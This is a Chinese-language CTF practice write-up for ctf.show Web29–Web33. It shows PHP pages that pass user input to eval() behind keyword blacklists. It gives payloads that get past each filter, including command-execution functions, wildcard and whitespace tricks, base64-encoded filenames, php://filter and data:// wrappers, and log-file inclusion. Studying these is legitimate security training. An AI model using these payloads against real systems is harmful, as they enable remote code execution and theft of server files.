提示:本系列仅当作本人的练习记录,所以有些题目可能不会很详细。相当于公开的ctf学习笔记。
Web29
进入到页面,可以看到如下代码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看出只过滤了flag这个关键词,所以使用命令执行的函数即可:
而命令执行的函数有很多
- system()
- passthru()
- exec()
- shell_exec()
- popen()
- proc_open()
- pcntl_exec()
- 反引号` 相当于shell_exec()
所以最简单的payload即为:
https://e63b2215-ee39-43c5-bbad-45ffa1c0c1eb.challenge.ctf.show/?c=system('ls');
# 首先查看有哪些文件
记得结尾要加;
否则回执行不成功。
随后执行命令即可:
https://e63b2215-ee39-43c5-bbad-45ffa1c0c1eb.challenge.ctf.show/?c=system('cat fla*');
(1)因为输入的flag先转化为小写,然后再进行匹配过滤;
(2)所以不能写flag.php,而是用*
通配符匹配;
最后查看页面源代码即可;
–
Web30
还是先查看代码,对照前一关不同处:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以发现不同处就是多了 system|php 的过滤,那么其他不变。
这里需要注意一下,只有system
函数是有回显的,其他的函数可以通过echo
等显示:
# 可用的payload
?c=echo shell_exec('ls');
?c=echo exec('ls'); # 不显示flag.php
?c=echo `ls`;
?c=passthru('ls');
下面即是flag的payload,大差不差:
攻击payload:
?c=echo shell_exec('cat fla*');
?c=echo exec('cat fla*');
?c=echo `cat f*`;
?c=passthru("tac fla*");
?c=highlight_file(base64_decode("ZmxhZy5waHA=")); # ZmxhZy5waHA= 解码为 flag.php
–
Web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
不多说,明眼人都看得出来:
(1)
cat
用 nl 替代;tac逆序输出;less/more;head;tail;type;
(2)flag
被过滤替代;fl\ag.php | fla* | fla?.php
(3)空格
替代;(%0a %09 %0c %0d ${IFS})替代;
(4)单引号
替代 “ ”
所以查看文件的payload为:
?c=passthru("ls");
?c=echo%09exec("ls"); # 不显示flag.php
?c=eval($_GET[1]);&1=system("ls"); # 很好的方法,通过构造GET参数
?c=eval("echo `ls`;"); # 等价于system("ls");
输出flag的payload:
?c=passthru("tac%09fla*");
?c=eval($_GET[1]);&1=system("tac flag.php");
?c=highlight_file(base64_decode("ZmxhZy5waHA="));
关于命令执行函数的解释:
(1)passthru()
直接将命令输出发送到标准输出(如浏览器),不返回内容。 返回命令执行状态码(成功为 0,失败为非 0)。
(2)exec()
将命令输出作为数组返回,每行一个元素。 返回最后一行输出或空字符串(需通过第二个参数获取完整输出)。
(3)system()
输出命令结果到标准输出,并返回最后一行。 返回最后一行输出,同时直接打印全部内容。
–
Web32(重点不一样方法)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
从代码可以看到,这里还屏蔽了 单引号
,反引号
,echo
关键字,分号
以及小括号
:
所以可以想到一下思路:
- 单引号没了还有
"
- 小括号没了还有
{}
和[]
这里我尝试了以下几种方法,发现又不行,然后看了看wp,发现人家是通过php伪协议来进行绕过:
# 失败案例
passthru{"tac%09fla*"};
echo%09exec{"ls"};
正确的payload:
php伪协议使用(实在没办法绕过了)
# 两种方法:data://和php://
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?>
作用:用来闭合当前页面的<?php,使后面的部分可以正常作为url参数传入a
解码得到:
解释一下上面两条语句:
注意:GET[
参数
] 里的参数只要与后面的&参数
相同即可;并且不要加 引号,会被检测过滤。
- ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
- 原理
代码注入点:
原始代码通过eval($c)
执行用户传入的c参数,且过滤了部分关键字(如flag、system、cat等)。 - 绕过过滤:
使用include
动态包含文件,绕过对system、cat等命令的过滤。
通过php://filter伪协议读取文件并进行 Base64 编码,避免直接出现flag.php。
php://filter/convert.base64-encode/resource=flag.php
将flag.php的内容编码为 Base64,从而绕过对flag的过滤(编码后为ZmxhZy5waHA)。 - 执行流程:
$_GET[a]被替换为php://filter/…,最终执行include ‘php://filter/…’。
服务器返回flag.php的 Base64 编码内容,攻击者解码即可获取敏感信息。
- 原理
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- 绕过过滤:
使用data://伪协议
直接执行 PHP 代码,避免出现php扩展名。
data://text/plain,<?php system("tac flag.php")?>将 PHP 代码作为数据流执行。
使用system(“tac
flag.php”)逆序
读取flag.php内容,绕过对cat的过滤。 - 执行流程:
$_GET[1]被替换为data://…,最终执行include ‘data://…’。
服务器执行system(“tac flag.php”),直接返回flag.php的内容。
- 绕过过滤:
–(其实还有第三种方法:日志+注入留到下一关在用吧)
Web33(也是重点)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
通过代码可以看到比上一关过滤了更加多的东西,所以php伪协议在此处也能再次发挥作用
所以也是照猫画虎:
?>
作用:用来闭合当前页面的<?php,使后面的部分可以正常作为url参数传入a
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
第二条语句:data://协议
?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
第三种方法:日志+注入
?c=include$_GET[a]?>&a=/var/log/nginx/access.log
剩下的操作:文章
总结
(1)直接传递PHP代码
当分号;
没有被过滤时
(2)使用文件包含
当分号;
被过滤时